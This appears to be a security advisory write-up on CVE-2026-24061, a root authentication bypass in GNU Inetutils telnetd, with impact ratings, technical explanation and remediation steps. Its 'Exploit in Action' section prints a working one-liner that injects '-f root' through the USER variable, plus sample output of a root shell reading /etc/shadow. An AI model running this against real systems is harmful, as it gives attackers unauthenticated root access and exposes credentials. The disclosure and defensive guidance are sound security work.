🚨 CVE-2026-24061 — “TelneTD”

Critical Remote Authentication Bypass in GNU Inetutils telnetd
The ghost of 2015 just came back to own everything still running telnet.

Zero authentication. One environment variable. Instant root shell.

⚠️ Overview

CVE-2026-24061 is a critical remote privilege escalation vulnerability in GNU Inetutils telnetd ≤ 2.7.

An unauthenticated remote attacker sets the USER environment variable to "-f root" via the Telnet NEW-ENVIRON option.
telnetd passes it unsanitized straight to /bin/login → login sees -f root → skips all authentication → drops attacker into a root shell.

The dangerous code sat quietly in the tree for nearly 11 years (since ~2015).

“One env var. No password. Full root. Welcome to 2026.”

🔥 Severity & Impact

• CVSS v3.1 Base Score: 9.8 / Critical
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• Attack Vector: Network (TCP/23)
• Privileges Required: None
• User Interaction: None
• Exploit Maturity: Trivial (one-liner works from any telnet client)

Reality in March 2026:

• Mass scanning and exploitation observed since late January
• Legacy embedded devices, OT gear, forgotten test servers still wide open
• Full system compromise: credentials, persistence, ransomware entry point

🕵️ Discovery

• Privately reported to GNU maintainers in mid-January 2026
• Publicly disclosed via oss-security in late January 2026
• Fixed in GNU Inetutils ≥ 2.8 (released shortly after disclosure)

🔬 Technical Deep Dive

When telnetd receives a NEW-ENVIRON option containing:

USER=-f root

It appends the value directly to the argv passed to /bin/login:

execve("/bin/login", ["login", "-f", "root", ...], ...)

The login binary interprets -f root as:
“this user is already authenticated as root — no password check needed.”

→ Attacker gets # prompt. Game over.

Key fatal design choice: -R / env var forwarding was never restricted to authorized users.

📅 Timeline

🖥️ Affected Systems

Vulnerable versions: GNU Inetutils telnetd 1.9.3 – 2.7
Common targets in 2026:

• Legacy industrial controllers & HMIs
• Old routers, switches, printers
• Debian-derived embedded appliances
• Forgotten dev/test VMs and containers
• OT gateways still exposing TCP/23

Safe:

• Systems running busybox telnetd
• Inetutils ≥ 2.8
• Telnet completely disabled / firewalled

💥 Exploit in Action

One-liner (any Linux/macOS with telnet client):

USER="-f root" telnet -a 192.168.1.50

Typical output:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

One Enter key press later — full root access.

🛡️ Check & Remediate (March 2026)

1. Detect vulnerable service

telnet localhost 23   # look for inetutils banner
inetutils-telnetd --version   # vulnerable if ≤ 2.7

2. Kill it (preferred forever)

systemctl disable --now inetutils-inetd   # or telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. Update (only if you must keep telnet — rare)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. Firewall (belt & suspenders)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 Status — March 2026

• Exploitation continues against unpatched legacy devices
• Telnet usage at all-time low — but still deadly when present
• Ecosystem takeaway: legacy protocols are landmines

🎓 Lessons Carved in Stone

• 11-year-old bugs still hide in “dead” code
• Never pass unsanitized user input to root-spawning binaries
• Argument injection → root is timeless
• Telnet should have died in 2010. Kill it in 2026.